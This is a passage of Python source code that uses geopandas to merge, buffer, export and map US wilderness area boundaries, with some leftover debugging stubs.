inr[\"name\"] = inr[\"name\"].str.replace(\"Maurille Islands\", \"Maurelle Islands\")\r\n    inr[\"a\"] = \"FS\"\r\n\r\n    nwps_shp = data_dir + \"_wilderness\" + slash + \"_nwps-2022-12-16.topojson\"\r\n    nwps = geopandas.read_file(nwps_shp)\r\n\r\n    for index, row in inr.iterrows():\r\n        if not row[\"geometry\"].is_valid:\r\n            log(None, None, \"RED\", \"invalid geom at \" + row[\"name\"])\r\n            row[\"geometry\"] = make_valid(row[\"geometry\"])\r\n    for index, row in nwps.iterrows():\r\n        if not row[\"geometry\"].is_valid:\r\n            log(None, None, \"RED\", \"invalid geom at \" + row[\"name\"])\r\n            row[\"geometry\"] = make_valid(row[\"geometry\"])\r\n\r\n    cn = [\"id\", \"name\", \"state\", \"acreage\", \"dd\", \"a\", \"geometry\"]\r\n    # id = nan, drop\r\n    # name is plain\r\n    # state is two letters\r\n    # acreage is\r\n    # dd is yyy-mm-dd\r\n    # a is agency tla\r\n\r\n    # nwps_fs = nwps.merge(inr, left_on=[\"name\", \"a\"], right_on=[\"name\", \"a\"], how=\"outer\", validate=\"1:1\", indicator=True)\r\n    nwps_fs = geopandas.GeoDataFrame(\r\n        nwps.merge(\r\n            inr,\r\n            left_on=[\"name\", \"a\"],\r\n            right_on=[\"name\", \"a\"],\r\n            how=\"outer\",\r\n            indicator=True,\r\n        ),\r\n        crs=nwps.crs,\r\n    )\r\n    # nwps_fs = nwps_fs[((nwps_fs[\"geometry_x\"] != None) & (nwps_fs[\"geometry_y\"] != None) & (nwps_fs[\"a\"] == 'FS'))]\r\n    # nwps_fs[\"geometry_x\"] = nwps_fs[\"geometry_y\"]\r\n    nwps_fs.loc[(nwps_fs[\"a\"] == \"FS\"), \"geometry_x\"] = nwps_fs[\"geometry_y\"]\r\n    # nwps_fs.loc[~(nwps_fs['a'] == 'Value'), 'c2'] = df['c3']\r\n    nwps_fs = nwps_fs.set_geometry(\"geometry_x\").drop(columns=[\"geometry_y\", \"_merge\"])\r\n    # nwps_gfs = nwps_fs.set_geometry('geometry_y').drop(columns=[\"geometry_x\", \"_merge\"])\r\n    nwps_fs.set_geometry(\"geometry_x\")\r\n    # nwps_gfs.set_geometry('geometry_y')\r\n    nwps_fs.crs = inr.crs\r\n    print(nwps_fs.columns)\r\n    print(nwps_fs.crs)\r\n    nwps_fs.to_file(cache_dir + \"nwps_fs.json\", driver=\"GeoJSON\", index=False)\r\n    # nwps_gfs.to_file(cache_dir + \"nwps_gfs.json\", driver=\"GeoJSON\", index=False)\r\n    # print(nwps_gmt.crs)\r\n    # nwps_gmt['same'] = nwps_gmt.geom_almost_equals(nwps_gfs, align=False)\r\n    # print(nwps_gmt.columns)\r\n    # nwps_gmt.to_csv(path_or_buf=cache_dir + \"nwps_test.csv\", index=False)\r\n    # log(None, None, \"GREEN\", cache_dir + \"nwps_test.csv\" + \" written\")\r\n    quit()\r\n\r\n    nwps_diff = geopandas.GeoDataFrame()\r\n    for index, row in nwps_fs.iterrows():\r\n        if not row[\"geometry_x\"].is_valid:\r\n            log(None, None, \"RED\", \"invalid geom x at \" + row[\"name\"])\r\n            row[\"geometry_x\"] = make_valid(row[\"geometry_x\"])\r\n        if not row[\"geometry_y\"].is_valid:\r\n            log(None, None, \"RED\", \"invalid geom y at \" + row[\"name\"])\r\n            row[\"geometry_y\"] = make_valid(row[\"geometry_y\"])\r\n        # print(row['name'])\r\n        nwps_fss.geom_equals(s2, align=False)\r\n        row[\"geometry_z\"] = row[\"geometry_x\"].symmetric_difference(row[\"geometry_y\"])\r\n        print(row[\"geometry_z\"])\r\n        # nwps_diff = nwps_diff.append(row)\r\n        nwps_diff = geopandas.GeoDataFrame(\r\n            pandas.concat([nwps_diff, row]), crs=nwps.crs\r\n        )\r\n    nwps_diff.to_csv(path_or_buf=cache_dir + \"nwps_test.csv\", index=False)\r\n    log(None, None, \"GREEN\", cache_dir + \"nwps_test.csv\" + \" written\")\r\n\r\n    print(nwps_diff.columns)\r\n    nwps_diff = nwps_diff.drop(columns=[\"geometry_y\", \"geometry_x\", \"_merge\"])\r\n    nwps_diff2 = nwps_diff.set_geometry(\"geometry_z\")\r\n    nwps_diff2.to_file(cache_dir + \"nwps_test.json\", driver=\"GeoJSON\", index=False)\r\n    quit()\r\n\r\n    # nwps_fs = nwps_fs.drop(columns=[\"geometry\"])\r\n\r\n    quit()\r\n\r\n    inr = inr.rename(columns={\"WILDERNESSNAME\": \"NAME\"})\r\n\r\n    inr.to_file(driver=\"ESRI Shapefile\", filename=wilderness_shp)\r\n    log(None, None, \"GREEN\", wilderness_shp + \" written\")\r\n    inrf = inr.copy()\r\n    inr = inr.drop(columns=[\"geometry\"])\r\n    inr.to_csv(path_or_buf=wilderness_csv, index=False)\r\n    log(None, None, \"GREEN\", wilderness_csv + \" written\")\r\n    quit()\r\n\r\n    topbit = \"[\\n\"\r\n    with uopen(wilderness_fixture, \"w+\") as outfile:\r\n        outfile.write(topbit)\r\n    pkey = 1\r\n    created = datetime.utcnow().isoformat()[:-7] + \"Z\"\r\n    for i, row in inrf.iterrows():\r\n        comma = \",\\n\"\r\n        if pkey == 1:\r\n            comma = \"\"\r\n        pkey = pkey + 1\r\n        year_designated = '\"' + str(row[\"Designated\"]) + '\"'\r\n        if year_designated == '\"nan\"':\r\n            year_designated = \"null\"\r\n        date_updated = '\"' + str(row[\"Updated\"]) + '\"'\r\n        if date_updated == '\"nan\"':\r\n            date_updated = \"null\"\r\n        year_baseline = '\"' + str(row[\"Baseline\"]) + '\"'\r\n        if year_baseline == '\"nan\"':\r\n            year_baseline = \"null\"\r\n        wilderness_id = (\r\n            str(row[\"WID\"]).replace(\"\\r\", \"\").replace(\"\\n\", \"\").replace(\" \", \"\")\r\n        )\r\n        fields = (\r\n            '{\\n        \"geom\": \"'\r\n            + str(row[\"geometry\"])\r\n            + '\",\\n        \"name\": \"'\r\n            + str(row[\"NAME\"])\r\n            + '\",\\n        \"slug\": \"'\r\n            + str(slugify(row[\"NAME\"]))\r\n            + '\",\\n        \"wilderness_id\": \"'\r\n            + wilderness_id\r\n            + '\",\\n        \"area_id\": \"'\r\n            + str(row[\"AREAID\"])\r\n            + '\",\\n        \"w_id\": \"'\r\n            + str(row[\"WID\"])\r\n            + '\",\\n        \"boundary_status\": \"'\r\n            + str(row[\"BOUNDARYSTATUS\"])\r\n            + '\",\\n        \"year_designated\": '\r\n            + year_designated\r\n            + ',\\n        \"year_baseline\": '\r\n            + year_baseline\r\n            + ',\\n        \"updated\": '\r\n            + date_updated\r\n            + ',\\n        \"gis_acres\": '\r\n            + str(row[\"GIS_ACRES\"])\r\n            + ',\\n        \"created\": \"'\r\n            + str(created)\r\n            + '\",\\n        \"modified\": null,\\n        \"author\": 2\\n    }\\n'\r\n        )\r\n        record = (\r\n            comma\r\n            + '{\\n    \"model\": \"wilder.wilderness\",\\n    \"pk\": '\r\n            + str(pkey)\r\n            + ',\\n    \"fields\": '\r\n            + fields\r\n            + \"}\"\r\n        )\r\n        with uopen(wilderness_fixture, \"a\") as outfile:\r\n            outfile.write(record)\r\n    endbit = \"\\n]\"\r\n    with uopen(wilderness_fixture, \"a\") as outfile:\r\n        outfile.write(endbit)\r\n    log(None, None, \"GREEN\", wilderness_fixture + \" fixture written\")\r\n\r\n\r\ndef awilderness_datestamps(which_wilderness, which_request_date, which_request_by):\r\n    \"\"\" update wilderness_shp \"\"\"\r\n    slug_wilderness = slugify(which_wilderness)\r\n    out_dir = base_dir + slug_wilderness + slash\r\n    outmaps_dir = base_maps_dir + slug_wilderness + slash\r\n    awilderness_file = slug_wilderness + \".\" + out_ext\r\n    awilderness_cea_file = slug_wilderness + \"-cea.\" + out_ext\r\n\r\n    up_date = str(datetime.now().strftime(\"%Y-%m-%d\"))\r\n    wilderness = geopandas.read_file(wilderness_shp)\r\n    wilderness.loc[wilderness[\"NAME\"] == which_wilderness, \"Baseline\"] = up_date\r\n    wilderness.loc[\r\n        wilderness[\"NAME\"] == which_wilderness, \"Req_Date\"\r\n    ] = which_request_date\r\n    wilderness.loc[wilderness[\"NAME\"] == which_wilderness, \"Req_By\"] = which_request_by\r\n    # awilderness = wilderness[wilderness['NAME'] == which_wilderness]\r\n    wilderness.to_file(driver=\"ESRI Shapefile\", filename=wilderness_shp)\r\n    log(None, None, \"GREEN\", slug_wilderness + \" datestamps updated\")\r\n\r\n\r\ndef awilderness_datestamp_all():\r\n    \"\"\" update wilderness_shp for all areas \"\"\"\r\n    req_list = []\r\n    req_list.extend(y2018_req_list())\r\n    req_list.extend(y2019_req_list())\r\n    req_list.extend(y2020_req_list())\r\n    req_list.extend(y2021_req_list())\r\n    req_list.extend(y2022_req_list())\r\n    req_list.extend(y2023_req_list())\r\n\r\n    up_date = str(datetime.now().strftime(\"%Y-%m-%d\"))\r\n    wilderness = geopandas.read_file(wilderness_shp)\r\n    for which_wilderness in req_list:\r\n        wilderness.loc[\r\n            wilderness[\"NAME\"] == which_wilderness[1], \"date_requested\"\r\n        ] = which_wilderness[0]\r\n        wilderness.loc[\r\n            wilderness[\"NAME\"] == which_wilderness[1], \"requested_by\"\r\n        ] = which_wilderness[2]\r\n    renames = {\r\n        \"NAME\": \"name\",\r\n        \"Designated\": \"year_designated\",\r\n        \"Baseline\": \"year_baseline\",\r\n        \"Updated\": \"year_updated\",\r\n        \"GIS_ACRES\": \"acres\",\r\n        \"BOUNDARYST\": \"boundary_status\",\r\n    }\r\n    wilderness = wilderness.rename(index=str, columns=renames)\r\n    # wilderness = wilderness[['name', 'year_designated', 'year_baseline', 'year_updated', 'acres', 'boundary_status', 'geometry']]\r\n    wilderness = wilderness[\r\n        [\r\n            \"name\",\r\n            \"acres\",\r\n            \"boundary_status\",\r\n            \"year_designated\",\r\n            \"year_baseline\",\r\n            \"date_requested\",\r\n            \"requested_by\",\r\n            \"year_updated\",\r\n        ]\r\n    ]\r\n    print(wilderness.head)\r\n\r\n    wilderness.to_csv(base_dir + \"req_list.csv\")\r\n    log(None, None, \"GREEN\", \"wilderness datestamps updated\")\r\n\r\n\r\ndef wilderness_write_json():\r\n    \"\"\" wilderness_shp to wilderness_geojson and packed \"\"\"\r\n    wilder_gdf = geopandas.read_file(wilderness_shp)\r\n    wilder_gdf = wilder_gdf.to_crs(epsg=4326)\r\n    wilder_gdf = wilder_gdf.drop(columns=[\"AREAID\", \"WID\"])\r\n    renames = {\r\n        \"NAME\": \"name\",\r\n        \"Designated\": \"year_designated\",\r\n        \"Baseline\": \"year_baseline\",\r\n        \"Updated\": \"year_updated\",\r\n        \"GIS_ACRES\": \"acres\",\r\n        \"BOUNDARYST\": \"boundary_status\",\r\n    }\r\n    wilder_gdf = wilder_gdf.rename(index=str, columns=renames)\r\n    wilder_gdf.to_file(wilderness_geojson, driver=\"GeoJSON\", index=False)\r\n    # topo = topojson.Topology(wilderness_fixture, wilderness_fixture + '.packed', quantization=1e6, simplify=0.0001)\r\n    with uopen(wilderness_geojson) as wg:\r\n        wj = json.load(wg)\r\n    topo = topojson.Topology(wj, wilderness_geojson + \".packed\")\r\n    # topo = topojson.Topology(wilderness_geojson, wilderness_geojson + '.packed')\r\n    # with uopen(wilderness_geojson + '.packed', 'w') as static_file:\r\n    #    static_file.write(topo)\r\n\r\n    # topo.to_json(base_dir + 'test_data.json.packed')\r\n    log(\r\n        None,\r\n        None,\r\n        \"GREEN\",\r\n        \"wilderness areas packed to topojson \" + wilderness_geojson + \".packed\",\r\n    )\r\n\r\n\r\ndef awilderness_boundary_nwps(which_wilderness):\r\n    slug_wilderness = slugify(which_wilderness[2])\r\n    slug_agency = slugify(which_wilderness[1])\r\n    out_dir = base_dir + slug_agency + slash + slug_wilderness + slash\r\n    awilderness_file = slug_wilderness + \".\" + out_ext\r\n    awilderness_cea_file = slug_wilderness + \"-cea.\" + out_ext\r\n\r\n    # wilderness_shp = data_dir + \"_wilderness\" + slash + \"_nwps-2022-12-16.topojson\"\r\n    wilderness_shp = cache_dir + \"nwps_fs.json\"\r\n    wilderness = geopandas.read_file(wilderness_shp)\r\n    wilderness = wilderness.drop(columns=\"state\")\r\n    awilderness = wilderness[\r\n        (\r\n            (wilderness[\"name\"] == which_wilderness[2])\r\n            & (wilderness[\"a\"] == which_wilderness[1])\r\n        )\r\n    ]\r\n    print(awilderness.head)\r\n    if not os.path.exists(out_dir):\r\n        os.makedirs(out_dir)\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_agency + slash + slug_wilderness + \" data folder created\",\r\n        )\r\n\r\n    awilderness.to_file(driver=out_driver, filename=out_dir + awilderness_file)\r\n    log(slug_wilderness, slug_agency, \"GREEN\", str(awilderness_file) + \" created\")\r\n    awilderness.crs = \"EPSG:4269\"\r\n    awilderness = awilderness.to_crs({\"proj\": \"cea\"})\r\n    awilderness[\"acres\"] = awilderness[\"geometry\"].area / 4046.856\r\n    awilderness.to_file(driver=out_driver, filename=out_dir + awilderness_cea_file)\r\n    log(slug_wilderness, slug_agency, \"GREEN\", str(awilderness_cea_file) + \" created\")\r\n\r\n    awilderness = awilderness.to_crs(epsg=4326)\r\n    # ca_in.to_file(driver='GeoJSON', filename=wdir + slug_wilderness + '_ca_in.json')\r\n    with uopen(out_dir + slug_wilderness + \".json\", \"w\") as wg:\r\n        wg.write(awilderness.to_json())\r\n    with uopen(out_dir + slug_wilderness + \".json\") as wg:\r\n        wj = json.load(wg)\r\n        topology_ = topology.Topology()\r\n        topo = topology_({\"wilderness\": wj})\r\n        topov = str(topo).replace(\"'\", '\"').replace(\": None\", \": null\")\r\n    with uopen(out_dir + slug_wilderness + \".json\" + \".packed\", \"w\") as static_file:\r\n        static_file.write(str(topov))\r\n    log(slug_wilderness, slug_agency, \"GREEN\", slug_wilderness + \".json written\")\r\n\r\n    year_baseline = str(datetime.now().strftime(\"%Y\"))\r\n    up_date = str(datetime.now().strftime(\"%Y-%m-%d\"))\r\n    # if updated is None or updated == \"\" or math.isnan(updated):\r\n    updated = up_date\r\n    log(\r\n        slug_wilderness,\r\n        slug_agency,\r\n        \"CYAN\",\r\n        str(year_baseline)\r\n        + \" \"\r\n        + str(updated)\r\n        + \" \"\r\n        + which_wilderness[1]\r\n        + \" \"\r\n        + which_wilderness[2],\r\n    )\r\n\r\n    jsd = [\r\n        {\r\n            \"name\": awilderness[\"name\"].values[0],\r\n            # \"number\": awilderness['WILDERNESS'].values[0],\r\n            \"agency\": awilderness[\"a\"].values[0],\r\n            \"acres\": awilderness[\"acreage\"].values[0],\r\n            \"year_designated\": awilderness[\"dd\"].values[0],\r\n            \"year_baseline\": year_baseline,\r\n            \"updated\": updated,\r\n        }\r\n    ]\r\n    jsc = \"\".join(str(v) for v in jsd).replace(\"'\", '\"')\r\n    with uopen(out_dir + \"index-wilderness.json\", \"w\") as static_file:\r\n        static_file.write(jsc)\r\n\r\n\r\ndef awilderness_buffers_nwps(which_wilderness):\r\n    slug_wilderness = slugify(which_wilderness[2])\r\n    slug_agency = slugify(which_wilderness[1])\r\n    out_dir = base_dir + slug_agency + slash + slug_wilderness + slash\r\n\r\n    awilderness_file = slug_wilderness + \".\" + out_ext\r\n    awilderness_1mi_file = slug_wilderness + \"-buffer.\" + out_ext\r\n    awilderness_1mi_ring_file = slug_wilderness + \"-ring.\" + out_ext\r\n\r\n    awilderness = geopandas.read_file(out_dir + awilderness_file)\r\n    awilderness.crs = \"EPSG:4269\"\r\n    awilderness_1mi = awilderness.copy()\r\n    aw = awilderness.geometry.unary_union.centroid\r\n    cust_epsg = {\r\n        \"proj\": \"aeqd\",\r\n        \"lat_0\": aw.y,\r\n        \"lon_0\": aw.x,\r\n        \"datum\": \"WGS84\",\r\n        \"units\": \"m\",\r\n    }\r\n\r\n    awilderness_1mi = awilderness_1mi.to_crs(cust_epsg)\r\n    awilderness_ = awilderness.to_crs(cust_epsg)\r\n    log(slug_wilderness, slug_agency, \"WHITE\", str(awilderness_1mi_file) + \" buffering\")\r\n    awilderness_1mi[\"geometry\"] = awilderness_1mi.geometry.buffer(1609.34)  # 1mi\r\n    log(slug_wilderness, slug_agency, \"GREEN\", str(awilderness_1mi_file) + \" created\")\r\n    awilderness_1mi_ring = geopandas.overlay(\r\n        awilderness_1mi, awilderness_, how=\"difference\"\r\n    )\r\n    log(slug_wilderness, slug_agency, \"WHITE\", str(awilderness_1mi_file) + \" ringed\")\r\n    awilderness_1mi = awilderness_1mi.to_crs(awilderness.crs)\r\n    awilderness_1mi.to_file(driver=out_driver, filename=out_dir + awilderness_1mi_file)\r\n\r\n    awilderness_1mi_ring = awilderness_1mi_ring.to_crs(awilderness.crs)\r\n    awilderness_1mi_ring.to_file(\r\n        driver=out_driver, filename=out_dir + awilderness_1mi_ring_file\r\n    )\r\n    log(\r\n        slug_wilderness,\r\n        slug_agency,\r\n        \"GREEN\",\r\n        str(awilderness_1mi_ring_file) + \" created\",\r\n    )\r\n\r\n\r\ndef wilderness_maps_nwps(wilderness_list):\r\n    \"\"\" some basic wilderness maps \"\"\"\r\n    rev_date = str(datetime.now().strftime(\"%Y-%m-%d\"))\r\n    us_lines = geopandas.read_file(\r\n        web.get_gdb_rev(\"S_USA.ALPGeopoliticalUnit.gdb.zip\", rev_date)\r\n    )\r\n    us_states = us_lines[us_lines[\"TYPENAMEREFERENCE\"] == \"State\"]\r\n    us_counties = us_lines[us_lines[\"TYPENAMEREFERENCE\"] == \"County\"]\r\n    us_forest = geopandas.read_file(\r\n        web.get_gdb_rev(\"S_USA.AdministrativeForest.gdb.zip\", rev_date)\r\n    )\r\n    us_ranger = geopandas.read_file(\r\n        web.get_gdb_rev(\"S_USA.RangerDistrict.gdb.zip\", rev_date)\r\n    )\r\n    width = 13\r\n\r\n    # us_forest.to_feather('temp.feather')\r\n    # us_forest = geopandas.read_feather('temp.feather')\r\n\r\n    # us_forest_temp = data_dir + 'usforest_shp.shp'\r\n    # us_forest_.to_file(driver='ESRI Shapefile', filename=us_forest_temp)\r\n    # us_forest = geopandas.read_file(us_forest_temp)\r\n    # us_forest = us_forest.buffer(0)\r\n    # us_forest['geometry'] = us_forest.geometry.buffer(0)\r\n\r\n    # us_forest_temp = data_dir + 'usforest_shp.csv'\r\n    # us_forest.to_csv(us_forest_temp)\r\n    # us_forest = geopandas.read_file(us_forest_temp)\r\n\r\n    # from shapely.wkt import loads\r\n    # for index, row in us_forest.iterrows():\r\n    # it will throw an error where the geometry WKT isn't valid\r\n    # csv_gdf.set_value(index, 'geometry', loads(row['geometry'])) --> deprecated\r\n    #    us_forest.loc[index, 'geometry'] = loads(row['geometry'])\r\n\r\n    # us_forest['valid'] = us_forest.is_valid\r\n    # us_forest_temp = us_forest[us_forest['valid'] == False]\r\n    # print(us_forest_temp.head)\r\n    # us_forest_tempfile = data_dir + 'usforest_invalid_.json'\r\n    # us_forest_temp.to_file(us_forest_tempfile, driver=\"GeoJSON\", index=False)\r\n\r\n    # us_forest = us_forest[~us_forest['valid'] == False]\r\n\r\n    for which_wilderness in wilderness_list:\r\n        slug_wilderness = slugify(which_wilderness[2])\r\n        slug_agency = slugify(which_wilderness[1])\r\n        out_dir = base_dir + slug_agency + slash + slug_wilderness + slash\r\n\r\n        awilderness_file = slug_wilderness + \".\" + out_ext\r\n        awilderness_1mi_file = slug_wilderness + \"-buffer.\" + out_ext\r\n\r\n        awilderness = geopandas.read_file(out_dir + awilderness_file)\r\n        awilderness_1mi = geopandas.read_file(out_dir + awilderness_1mi_file)\r\n        xlim_w = [awilderness_1mi.total_bounds[0], awilderness_1mi.total_bounds[2]]\r\n        ylim_w = [awilderness_1mi.total_bounds[1], awilderness_1mi.total_bounds[3]]\r\n        # aw = awilderness.geometry.unary_union.centroid\r\n        # cust_epsg = {'proj': 'aeqd', 'lat_0': aw.y, 'lon_0': aw.x, 'datum': 'WGS84', 'units': 'm',}\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"WHITE\",\r\n            slug_wilderness + \" overlaying forests\",\r\n        )\r\n\r\n        # forestcut = geopandas.overlay(awilderness, us_forest, how=\"identity\")\r\n        # forest_list = forestcut['FORESTNAME'].tolist()\r\n        # forestcut = us_forest[us_forest['FORESTNAME'].isin(forest_list)]\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"WHITE\",\r\n            slug_wilderness + \" overlaying states\",\r\n        )\r\n\r\n        statecut = geopandas.overlay(awilderness, us_states, how=\"identity\")\r\n        state_list = statecut[\"STATENAME\"].tolist()\r\n        if slug_wilderness == \"southern-nantahala-wilderness\":\r\n            state_list = [\"Georgia\", \"North Carolina\"]\r\n        print(state_list)\r\n        statecut = us_states[us_states[\"STATENAME\"].isin(state_list)]\r\n        countycut = us_counties[us_counties[\"STATENAME\"].isin(state_list)]\r\n        statecut_box = statecut.copy()\r\n        # statecut_box = statecut_box.to_crs({'proj':'cea'}) # maybe\r\n        statecut_box = statecut_box.to_crs(epsg=4326)  # maybe\r\n        statecut_box[\"geometry\"] = statecut_box.geometry.buffer(\r\n            0.1609344\r\n        )  # what distance?\r\n        # statecut_box = statecut_box.to_crs(statecut.crs)\r\n        xlim_s = [statecut_box.total_bounds[0], statecut_box.total_bounds[2]]\r\n        ylim_s = [statecut_box.total_bounds[1], statecut_box.total_bounds[3]]\r\n\r\n        w = statecut_box.total_bounds[0]\r\n        s = statecut_box.total_bounds[1]\r\n        e = statecut_box.total_bounds[2]\r\n        n = statecut_box.total_bounds[3]\r\n\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"WHITE\",\r\n            slug_wilderness + \" computing tile zoom\",\r\n        )\r\n        # print('tile zoom')\r\n        # zoomlev = contextily.tile._calculate_zoom(w, s, e, n)\r\n        # us_forest['valid'] = us_forest.is_valid\r\n        # print(us_forest.head)\r\n        # statecut['valid'] = statecut.is_valid\r\n        # print(statecut.head)\r\n        # us_forest['geometry'] = us_forest['geometry'].buffer(0)\r\n        # print(us_forest.head)\r\n\r\n        # from shapely import wkt\r\n        # statecut['geometry'] = statecut['geometry'].astype(str).apply(wkt.loads)\r\n        # statecut['valid'] = statecut.is_valid\r\n        # print(statecut.head)\r\n        # us_forest['geometry'] = us_forest['geometry'].astype(str).apply(wkt.loads)\r\n        # us_forest['valid'] = us_forest.is_valid\r\n        # print(us_forest.head)\r\n        # quit()\r\n\r\n        # usfs_inside = geopandas.clip(us_forest, statecut, keep_geom_type=False)\r\n        # usfs_inside = geopandas.overlay(us_forest, statecut, how='intersection')\r\n        usfs_inside = us_forest\r\n        log(slug_wilderness, slug_agency, \"WHITE\", slug_wilderness + \" plotting maps\")\r\n\r\n        # print(awilderness.crs)\r\n        # awilderness = awilderness.to_crs(epsg=4326)\r\n        # countycut = countycut.to_crs(awilderness.crs)\r\n        # statecut = statecut.to_crs(awilderness.crs)\r\n        # statecut_box = statecut_box.to_crs(awilderness.crs)\r\n        # xlim_s = ([statecut_box.total_bounds[0], statecut_box.total_bounds[2]])\r\n        # ylim_s = ([statecut_box.total_bounds[1], statecut_box.total_bounds[3]])\r\n\r\n        axis = awilderness.plot(\r\n            color=\"none\",\r\n            edgecolor=\"black\",\r\n            linewidth=1.0,\r\n            alpha=0.9,\r\n            figsize=(width, width / 1.618),\r\n        )\r\n        countycut.plot(\r\n            ax=axis, color=\"tab:olive\", edgecolor=\"tab:red\", linewidth=1.0, alpha=0.2\r\n        )\r\n        statecut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linestyle=\":\", linewidth=3.0,\r\n        )\r\n        awilderness.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"black\", linewidth=1.0, alpha=0.9\r\n        )\r\n\r\n        axis.set_xlim(xlim_s)\r\n        axis.set_ylim(ylim_s)\r\n        pyplot.axis(\"off\")\r\n        fig1 = pyplot.gcf()\r\n        fig1.suptitle(which_wilderness)\r\n        pyplot.subplots_adjust(top=0.95, bottom=0, right=1, left=0, hspace=0, wspace=0)\r\n        pyplot.margins(0, 0)\r\n        fig1.savefig(out_dir + slug_wilderness + \"-map-s.png\")\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_wilderness + \"-map-s.png created\",\r\n        )\r\n        # quit()\r\n\r\n        ufill = colors.colorConverter.to_rgba(\"tab:green\", alpha=0.2)\r\n        usfs_inside.plot(\r\n            ax=axis, color=ufill, edgecolor=\"white\", linewidth=2.0,\r\n        )\r\n\r\n        countycut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linewidth=1.0, alpha=0.2\r\n        )\r\n        statecut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linestyle=\":\", linewidth=3.0,\r\n        )\r\n        awilderness.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"black\", linewidth=1.0, alpha=0.9\r\n        )\r\n        fig1.suptitle(which_wilderness)\r\n        fig1.savefig(out_dir + slug_wilderness + \"-map-sf.png\")\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_wilderness + \"-map-sf.png created\",\r\n        )\r\n\r\n        # try_add_basemap_(slug_wilderness, axis, awilderness.crs)\r\n        # log(slug_wilderness, 'WHITE', str(datetime.now().strftime('%Y%m%d_%H%M')) + ' ' + slug_wilderness + ' adding terrain basemap at zoom ' + str(zoomlev))\r\n        # contextily.add_basemap(axis, zoom=zoomlev, crs=awilderness.crs)\r\n        # fig1 = pyplot.gcf()\r\n        # fig1.savefig(out_dir + slug_wilderness + '-map-terrain-sf.png')\r\n        # log(slug_wilderness, 'GREEN', slug_wilderness + '-map-terrain-sf.png created')\r\n\r\n        fig1.clf()\r\n        pyplot.clf()\r\n        pyplot.cla()\r\n        pyplot.close()\r\n\r\n        axis = awilderness.plot(\r\n            color=\"none\",\r\n            edgecolor=\"black\",\r\n            linewidth=1.0,\r\n            alpha=0.9,\r\n            figsize=(width, width / 1.618),\r\n        )\r\n        countycut.plot(\r\n            ax=axis, color=\"tab:olive\", edgecolor=\"tab:red\", linewidth=1.0, alpha=0.2\r\n        )\r\n        statecut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linestyle=\":\", linewidth=3.0,\r\n        )\r\n        awilderness.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"black\", linewidth=1.0, alpha=0.9\r\n        )\r\n\r\n        axis.set_xlim(xlim_w)\r\n        axis.set_ylim(ylim_w)\r\n        pyplot.axis(\"off\")\r\n        fig1 = pyplot.gcf()\r\n        fig1.suptitle(which_wilderness)\r\n        pyplot.subplots_adjust(top=0.95, bottom=0, right=1, left=0, hspace=0, wspace=0)\r\n        pyplot.margins(0, 0)\r\n        fig1.savefig(out_dir + slug_wilderness + \"-mapw-s.png\")\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_wilderness + \"-mapw-s.png created\",\r\n        )\r\n\r\n        ufill = colors.colorConverter.to_rgba(\"tab:green\", alpha=0.2)\r\n        usfs_inside.plot(\r\n            ax=axis, color=ufill, edgecolor=\"white\", linewidth=2.0,\r\n        )\r\n\r\n        countycut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linewidth=1.0, alpha=0.2\r\n        )\r\n        statecut.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"tab:red\", linestyle=\":\", linewidth=3.0,\r\n        )\r\n        awilderness.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"black\", linewidth=1.0, alpha=0.9\r\n        )\r\n        fig1.suptitle(which_wilderness)\r\n        fig1.savefig(out_dir + slug_wilderness + \"-mapw-sf.png\")\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_wilderness + \"-mapw-sf.png created\",\r\n        )\r\n\r\n        awilderness_box = awilderness_1mi.copy()\r\n        awilderness_box = awilderness_1mi.to_crs({\"proj\": \"cea\"})  # breaks basemap\r\n        awilderness_box[\"geometry\"] = awilderness_box.geometry.buffer(\r\n            0.1609344\r\n        )  # how far?\r\n        awilderness_box = awilderness_box.to_crs(awilderness_1mi.crs)  # back\r\n\r\n        xlim2 = [awilderness_box.total_bounds[0], awilderness_box.total_bounds[2]]\r\n        ylim2 = [awilderness_box.total_bounds[1], awilderness_box.total_bounds[3]]\r\n        axis.set_xlim(xlim2)\r\n        axis.set_ylim(ylim2)\r\n        # print(awilderness.crs) # 4269\r\n        # quit()\r\n        try_add_basemap(slug_wilderness, slug_agency, axis, awilderness.crs.to_string())\r\n        awilderness.plot(\r\n            ax=axis, color=\"none\", edgecolor=\"black\", linewidth=1.0, alpha=0.9\r\n        )\r\n        axis.set_xlim(xlim_w)\r\n        axis.set_ylim(ylim_w)\r\n        fig1 = pyplot.gcf()\r\n        pyplot.subplots_adjust(top=0.95, bottom=0, right=1, left=0, hspace=0, wspace=0)\r\n        pyplot.margins(0, 0)\r\n        fig1.savefig(out_dir + slug_wilderness + \"-mapw-terrain-sf.png\")\r\n        log(\r\n            slug_wilderness,\r\n            slug_agency,\r\n            \"GREEN\",\r\n            slug_wilderness + \"-mapw-terrain-sf.png created\",\r\n        )\r\n\r\n        fig1.clf()\r\n        pyplot.clf()\r\n        pyplot.cla()\r\n        pyplot.close()\r\n\r\n\r\ndef awilderness_station_buffers(which_wilderness, station_list):\r\n    \"\"\" Testing vis stuff \"\"\"\r\n    slug_wilderness = slugify(which_wilderness)\r\n    out_dir = base_dir + slug_wilderness + slash\r\n    awilderness_file = slug_wilderness + \".\" + out_ext\r\n    awilderness_1mi_file = slug_wilderness + \"-stations-buffer.\" + out_ext\r\n    awilderness_1mi_ring_file = slug_wilderness + \"-stations-ring.\" + out_ext\r\n\r\n    awilderness = geopandas.read_file(out_dir + 